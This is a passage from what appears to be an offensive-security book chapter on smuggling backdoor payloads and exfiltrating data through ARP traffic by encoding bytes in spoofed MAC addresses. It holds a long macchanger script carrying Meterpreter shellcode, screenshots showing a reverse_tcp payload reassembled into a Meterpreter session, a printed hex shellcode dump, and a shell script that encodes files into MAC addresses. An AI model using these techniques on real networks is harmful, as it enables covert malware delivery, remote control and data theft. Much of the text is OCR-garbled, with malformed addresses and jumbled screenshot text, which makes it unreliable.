sudo ifconfig eth0 down; sudo macchanger -m 00:41:c1:c2:04:14 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:c1:c2:e4:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:3c:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:3c:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:3c:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:3c:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:3c:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:40:8b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:8b:42:40:8b eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:80:000 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:88:00:000 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:81:00:e00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:e00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:e00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:e00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:43:01:e00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:43:88:48:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:43:88:48:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:88:43:88:48:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:88:43:88:48:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:88:44:80:44:80	sudo	ifconfig e	ethØ down	sudo ;	macchanger -m	00:61:7c:02:2c:20 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:01:c1:e2:ed:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:41:51:e2:ed:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:21:81:42:36:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:18:00:00:85 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:19:00:00:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:19:00:00:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:18:00:00:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:18:08:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:88:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:88:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:50:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:50:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:18:44:80:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:18:44:80:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:18:44:80:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:18:44:80:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:18:44:80:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:14:24:48:40; udo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:44:80:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:44:80:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:44:31:c7:	sudo	ifconfig e	ethØ down	sudo ;	macchanger -m	00:41:c1:c9:0d:41 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:41:51:48:80:52 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:81:42:32:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:81:80:40:20:01:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:20:20:20:20:20:20:20:20:20:20:20:20:2	sudo	ifconfig e	ethØ down	sudo ;	macchanger -m	00:01:c1:e2:ed:52 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:120:80:42:3c:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:85 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:01:00:00:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:02:00:00:00:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:00:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:00:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:00:00:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:00:00:00:00:00:00:00:00:00:00:00:00:	sudo	ifconfig e	ethØ down;	; sudo	macchanger -m	00:41:51:48:8b:52 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:01:d0:66:81:78 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:02:06:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:82:00:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:88:88:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:00:00:00 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:508 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:508 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:508 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:508 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:508 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:508:40; ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:48:48:40:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:56:48:41:01:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:58:34:88:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:58:34:88:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:38:44:31:c9:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:38:44:31:c9:48 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down;	; sudo	macchanger -m	00:20:8b:42:3c:48 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:18:00:02:07:85 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:28:00:00:00:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:28:00:00:80 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:04:58 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:04:58 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:04:58 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:04:58 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:28:04:04:06:30 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:28:04:10:02:03 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:28:142:80:10:24:14:10:30 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:28:14:80:24:24:24:20:24:24:25:24:25:25:24:25:24:25:25:24:25:25:24:25:25:24:25:25:24:25:25:24:25:24:25:25:24:25:25:24:25:25:25:25:25:25:25:25:25:25:25:25:25:	sudo	ifconfig e	eth0 down;	; sudo	macchanger -m	00:01:d0:66:81:78 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:72:00:00:00:00:00:00:00:00:00:00:00:00:00	sudo	ifconfig e	eth0 down	; sudo	macchanger -m	00:18:0b:02:0f:85 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger — 00:88:88:00:00:200 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger — 00:48:80:200 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger — 00:48:80:28:20:24:67 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger — 00:48:10:26:26:44:80:200 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger — 00:48:16:26:26:40; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger — 00:26:49:20:26:26:26:26:26:26:26:26:26:26:26:26:26:	sudo	ifconfig e	ethØ down	sudo 🛛	macchangerm	00:72:00:00:00:8b eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:48:85:c0:74:67 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:18:44:8b:40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:e2 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:52:43:e1:e2 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:54:80:e4:01:e1h0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:55:48:e1h0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:56:40:E01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:86:41:21:e9:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:81:21:e9:48 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down	sudo	macchanger	00:80:88:00:00:00 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:48:01:40:500:48:00:160; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:48:18:44:18):40 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:50:49:41:60:300; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:50:48:48:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:50:48:48:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:50:42:48:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:30:54:43:1:c2:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:31:61:40:248:48:01 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down	sudo	macchanger	00:48:85:c0:74:67 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:48:18:44:08:140 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:56:49:01:d0:e3 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:56:48:f1:c9:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:56:48:48:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:68:53:48:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:61:63:11:c9:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:61:62:42:11:c1 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down	sudo	macchanger	00:48:01:d0:50:8b eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:20:49:00:40:e3 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:56:48:16:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:66:40:31:c9:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:d6:40:31:c9:48 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down	sudo		00:48:18:44:8b:40 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m 00:55:48:ff:c9:41 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:8b:34:88:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:31:c0:ac:41:c1 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m 00:31:c0:ac:41:c1 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down	sudo	macchanger	00:20:49:01:d0:e3 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m  00:30:34:38:48:01 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m  00:30:6:44:31:c9:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m  00:31:c0:ac:41:c1 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down	sudo	macchanger	00:56:48:ff:c9:41 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m  00:db:4d:31:c9:48 eth0; sudo ifconfig eth0 up; sleep 10; sudo ifconfig eth0 down; sudo macchanger -m  00:31:c0:ac:41:c1 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down	sudo	macchanger -m	00:8b:34:88:48:01 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
sudo ifconfig eth0 down; sudo macchanger -m  00:31:c0:ac:41:c1 eth0; sudo ifconfig eth0 up; sleep 10;	sudo	ifconfig e	ethØ down	sudo	macchanger -m	00:d6:4d:31:c9:48 eth0; sud	o ifconfig	ethØ	up; sleep	10;	
	sudo	ifconfig e	ethØ down	sudo	macchanger -m	00:31:c0:ac:41:c1 eth0; sud	o ifconfig	ethØ	up; sleep	10;	

Picture 15: Switch "lin"

also in next Picture you can see I used this Script File "Demo.sh" on Macchanger system in this case "Kali Linux" via this command : Root@kali# ./demo.sh | grep New

step 1: (Windows side "PC-A, 192.168.56.103"), Using something like "Picture 15" and copy this lines to "demo.sh" file step 2: (Windows side "PC-A , 192.168.56.103") , Executing NativePayload\_ARP.exe like "Picture 17" step 3: (Linux side "PC-B , 192.168.56.102 or Macchangr system "), ./demo.sh | grep New step 4: (Attacker Side second Linux system "PC-C , 192.168.56.1"), Meterpreter Session is ready

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

<b>63</b>	Command Prompt - NativePayload_ARP.exe	
[261] Dumping Bytes: 220f30ffd5 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 2f 0f 3 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 57 59 4 [263] Dumping Bytes: 575941ba75 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 57 59 4	8 ff d5 1 ba 25 File Edit View Search Terminal Help	
Found : Get Mac => 192.168.56.102 MacAddress : Found : Get Mac => 192.168.56.102 MacAddress : Found : Get Mac => 192.168.56.102 MacAddress :	0 Wildcard Targetions → Places → E Text Editor →	Sat 04:39
Found : Get Mac => 192.168.56.102 MacAddress : Found : Get Mac => 192.168.56.102 MacAddress : 00 6e 4d 6 [269] Dumping Bytes: 6e4d6iffd5 Found : Get Mac => 192.168.56.102 MacAddress : 00 6e 4d 6 Found : Get Mac => 192.168.56.102 MacAddress : 00 49 ff c	Lffd5 Lffd5 msf exploit(handler).>.rexploitσ.σ	
[271] Dumping Bytes: 49ffcee93c Found : Get Mac => 192.168.56.102 MacAddress : 00 49 ff c NotFound : Get Mac => 192.168.56.102 MacAddress : 00 49 ff c Found : Get Mac => 192.168.56.102 MacAddress : 00 ff ff [273] Dumping Bytes: ffffff480] Card Mac => 192.168.56.102 MacAddress : 00 ff ff f	<pre>e e9 3c e9 3c e9 3c e9 3c e9 3c e9 3c e9 3c e9 3c e9 3c e18 01 [*] Started reversedTCP handlerton 192:168/55/11:4444* - m 0 [*] Starting the payload handlerton towns, such macchanger -m 0 [*] Starting the payload handlerton towns, such macchanger -m 0 [*] Starting the payload handlerton towns, such macchanger -m 0</pre>	0:85:f6:75:b4:41 eth0; s 0:ff:e7:58:6a:00 eth0; s 0:59:49:c7:c2:f0 eth0; s 0:b5:a2:56:ff:d5 eth0: s
Comm : Get Mac ==> 192.168.56.102 MacAddress : 00 c3 48 2 [275] Dumping Bytes: c34829c648 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 c3 48 2 NotFound : Get Mac ==> 192.168.56.102 MacAddress : 00 c3 48 2 NotFound : Get Mac ==> 192.168.56.102 MacAddress : 00 c3 48 2 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 c3 48 2 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 c3 48 2	<pre>7 c6 48 [*] Sending Stage (1100311 bytes) (0 192.100.100.100.100.100. 9 c6 48 [*] Meterpreter session 1<sup>th</sup>opened (192.168.56.11:4444<sup>per</sup>&gt; 1920. 9 c6 48 meterpreter &gt;</pre>	168.56.103.55559) <sup>h</sup> at <sup>s</sup> sh + T
[2277] Dumping Bytes: 85f675b441 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 85 f6 7 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 ff e7 5 [2279] Dumping Bytes: ffe7586a00 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 ff e7 5	5 b4 41 root@kali: ~/Desk 3 6a 00 8 6a 00 File Edit View Search Terminal Help	ktop
Pound         : Get Mac         =>         192.168.56.102         MacAddress         : 00         59         49         c           [281]         Dumping Bytes:         5946-76210                : 00         59         49         c           [281]         Dumping Bytes:         5946-76210   <	P = 2 f0         New MAC:         00:ff:ff:ff:48:01 (unknown)           7 = 2 f0         ./demo.sh: line 99: \$'\r': command not found           6 ff:d5         New MAC:         00:c3:48:29:c6:48 (unknown)           ./demo.sh: line 100: \$'\r': command not found         ./demo.sh: line 100: \$'\r': command not found	
Found : Get Hac/ 172.106.56.102 Hachduress : 00 D3 42 3 Found : Get Mac ==> 192.168.56.102 MacAddress : 00 ff ff f Debug Mode , Dumping this payload by ARP Traffic:	New MAC: 00:85:f6:75:b4:41 (unknown) ./demo.sh: line 101: \$'\r': command not found New MAC: 00:ff:e7:58:6a:00 (unknown)	
26503 Hote , yok can remperie criss dump batta by 900r source re fe4883e4f0e8cc0000000415141505251564881b2560488b520488b5218488 180b620f85720000008b80880000004885c074674801.d0568b4818448b40 01.d066418b6c84348b401c4901.d0418b484840140415841585c555a4158 49bc0200115cc08a330141544989e44c89f141ba4c772607ffc575e5893000000 41584c89e24889f941ba99a57461ffd585c07400a49ffcc75e5e893000000	Josephysical Mathematical Science         Josephysical Mathematical Science<	
Fffff48061c34829c64885f675b441ffe7586a005949c7c2f0b5a256ffd5 End time : 4/6/2018 5:05:40 PM Bingo Meterpreter session by ARP Traffic ;)	New MAC: 00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:f	
	🕘 🔤 🔤 📴 root@kali:~/Desktop# 🗍	

Picture 16: NativePayload\_ARP.exe and Meterpreter Session

GE Command Prompt - Na	ivePayload_ARP.exe
C:\Users\damon\Documents\Visual Studio 2015\Projects\NativePayload_ARP\NativePayloa NativePayload_ARP v1.0 Tool : Transfer Backdoor Payload by ARP Traffic Published by Damon Mohammadbagher	File Machine View Input Devices Help
Unknown Mac Address Displayed by Red Color Getting Injected MacAddress By ARP Traffic (Slow)	Applications → Places → 📳 Text Editor → Sat 06:03
Please type Target System IPaddress for Sending ARP Request 192.158.55.102 Please type your Local IPaddress for Sending ARP Request by this IP 192.158.55.103 Start time: 4/6/2018 4:34:34 PM Found : Get Mac => 192.158.56.102 MacAddress : Found : Get Mac => 192.158.156.102 MacAddress : Found : Found : Get Mac => 192.158.156.102 MacAddress : Found : Found : Get Mac => 192.158.156.102 MacAddress : Found :	Open       demo.sh
Pound         : Get Mac         =>>         192.168.55.102         MacAddress         : 00         e8         cc 00         00         00         91         Dumping Bytes:         e8cc000000         92         Dumping Bytes:         e8cc000000         92         Dumping Bytes:         e8cc000000         92         Dumping Bytes:         e8cc000000         92         Dumping Bytes:         e8cc00000         92         Dumping Bytes:         e8cc000000         92         Dumping Bytes:         e3cc00000         92         Dumping Bytes:         e3cc00000         92         Dumping Bytes:         e3cc000000         92         Dumping Bytes:         4154         52         Dumping Bytes:         4154         54         54         54         Duping Bytes:         415         52         Duping Bytes:         4154         50         52         Duping Bytes:         4154         54 </td <td>root@kali: ~/Desktop -</td>	root@kali: ~/Desktop -
Pound       : Get Mac       =>>       172.108.306.102       MacAddress       : 000       41       51       156       48       31       d2         Found       : Get Mac       =>>       192.168.356.102       MacAddress       : 000       51       56       48       31       d2         Found       : Get Mac       =>>       192.168.356.102       MacAddress       : 000       51       56       48       31       d2         Found       : Get Mac       =>>       192.168.356.102       MacAddress       : 000       51       56       48       85       26         Found       : Get Mac       =>>       192.168.356.102       MacAddress       : 000       54       88       52       60         Found       : Get Mac       =>>       192.168.356.102       MacAddress       : 000       48       85       21       8       88       52       60         Found       : Get Mac       =>>       192.168.356.102       MacAddress       : 000       48       85       22       8       8b       52       18       8b       52       18       8b       52       18       8b       52       18       52       18	<pre>^Croot@kali:~/Desktop# ./demo.sh   grep New New MAC: 00:ff:00:ff:00:ff (unknown) ./demo.sh: line 2: \$'\r': command not found New MAC: 00:fc:48:83:e4:f0 (unknown) ./demo.sh: line 3: \$'\r': command not found New MAC: 00:e8:cc:00:00:00 (unknown) ./demo.sh: line 4: \$'\r': command not found New MAC: 00:41:51:41:50:52 (unknown) ./demo.sh: line 5: \$'\r': command not found New MAC: 00:51:56:48:31:d2 (unknown) ./demo.sh: line 6: \$'\r': command not found New MAC: 00:65:48:8b:52:60 (unknown) ./demo.sh: line 7: \$'\r': command not found New MAC: 00:65:48:8b:52:86 (unknown) ./demo.sh: line 8: \$'\r': command not found New MAC: 00:48:8b:52:18:48 (unknown) ./demo.sh: line 8: \$'\r': command not found New MAC: 00:9b:52:20:46:b; (unknown)</pre>

Picture 17: NativePayload\_ARP.exe and Demo.sh File.

#### Linux systems and Transferring DATA/Payload via ARP Traffic (PART1)

in this time I want to talk about Linux without using "C# Code" for this method so in this case we have 2 Linux systems for Transferring or DATA Exfiltration via ARP Traffic so in this PART1 I will talk about Script Code and in Next PART2 in this chapter I will talk about Using These Script Code via Simple Script "NativePayload\_ARP.sh".

Exfiltration meaning : how you can Upload/Download DATA from one system to another systems via ARP Traffic", it is not talk about how you can Transfer DATA from LAN to WAN "Exfiltration", at least in my opinion in this picture.

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic



Picture 18: Exfiltration/Transfer DATA via ARP traffic from IPAddress 56.101 to 56.1 (Step by Step)

		7. 10.14								
Applications -	Places 👻 📴 Terminal 👻	Inu 19:14								
		root@kali: ~/Desktop	ARPING 192	~/Desktop# arping 192 .168.56.101	2.168.56.101 -W	2 -c 11				
File Edit View rootekali:~/Deskto Exfiltration/Trans rootekali:~/Deskto #1/bin/sh echo "#1/bin/sh" for bytes in xxd	Search Terminal Help op# cat demo.txt sferring via "ARP" Traffic. op# cat Exfiltration_via_ARP.sh -p -c 5 \$1   sed 's//&:/g'`;		60 bytes f 60 bytes f	ram 88:45;78:66:89:6C ram 80:74:72:61:74:69 ram 80:61:6e:21:54:72 ram 80:61:6e:73:66:65 ram 80:20:78:69:66:7 ram 80:22:78:69:66:52 ram 80:22:54:72:61:66 ram 80:26:59:63:2e:8a ram 80:66:69:63:2e:8a ram 80:66:69:63:2e:8a	(192, 168, 56, 101 (192, 168, 56, 101	<pre>): index=0 time= ): index=1 time= ): index=2 time= ): index=4 time= ): index=6 time= ): index=6 time= ): index=6 time= ): index=8 time= ): index=10 time</pre>	10.853 msec 4.648 msec 7.990 msec 9.825 msec 6.844 msec 4.727 msec 1.989 msec 1.865 msec 3.962 msec 5.688 msec			
do Exfl= echo \$b; echo "#Injectin echo "sudo ifc echo "sudo ifc echo done rootekali:~/Deskt #Injecting text: #Injecting text:	<pre>/tes   sed "s/:\$/ /'` fil   xxd -r -p` ng text: " \"\$text\" to Mac via Addr nnfig eth0 down; sudo macchanger -m p# ./Exfiltration via ARP.sh demo.t p# cat Macchanger.sh ] grep Inject "Exfil" to Mac via Address 00:45:78 "trati" to Mac via Address 00:76:156 "on/Tr" to Mac via Address 00:76:156</pre>	<pre>ess 00:\$Exfil     " 00:\$Exfil     " 00:\$Exfil    " eth0; sudo ifconfig eth0 u txt &gt; MacChanger.sh 0:66:69:6c t:61:74:69 ::2f:54:72</pre>	192.16 11 packets rtt min/avi p; 100:072:14 00:45:78:61 74:69.00:65 00:20:76:64 00:20:76:64 00:20:76:64 00:66:69:61	9.56.101 statistics → transmitted, 11 packet /max/std-dew = 1.865/6 :-/Desktop# 1/20.166.361 :-/Desktop# 1/20.166.361 :-/Desktop# 1/20.561; :069:56:061/47:22:61:= :069:25:72:061:66:61:= :067:27:72:05/56:67 :067:22:72:061:= :06:66:63:22:60 == :06:66:63:22:60 == :06:66:63:22:60 == :06:66:63:22:60 == :06:66:63:22:60 == :06:66:63:22:60 == :06:66:63:22:60 ==: :06:66:63:22:60 =:: :06:66:65:63:22:60 =:: :06:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:63:22:60 =:: :06:66:66:66:63:22:60 =:: :06:66:66:66:66:66:66:66:66:66:66:66:66:	ts received, 5.575/11.989/3. grep 56 Bcast:192.168 Data.txt => Exfiltra => tion/Tra => nsferring => via "AR => P" Traff >> ic. fic.	0% unanswered (0 087 ms .56.255 Mask:25	extra) 5.255.255.0			
